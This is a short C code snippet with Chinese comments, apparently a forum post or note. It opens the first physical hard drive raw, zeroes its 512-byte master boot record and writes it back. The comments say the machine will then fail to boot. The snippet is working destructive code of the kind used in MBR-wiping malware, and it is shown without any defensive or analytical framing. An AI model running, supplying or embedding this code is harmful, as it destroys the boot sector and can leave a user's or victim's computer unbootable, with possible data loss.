FILE * fd=fopen("\\\\.\\PHYSICALDRIVE0","rb+");
char buffer[512];
fread(buffer,512,1,fd);
//then you can edit buffer[512] as your wish......
fseek(fd,0,SEEK_SET); //很重要
memset(buffer,0,512); fwrite(buffer,512,1,fd); //把修改后的MBR写入到你的机器 fclose(fd); //大功告成
重启系统就启动不了了。。。。。。
大白菜下显示硬盘
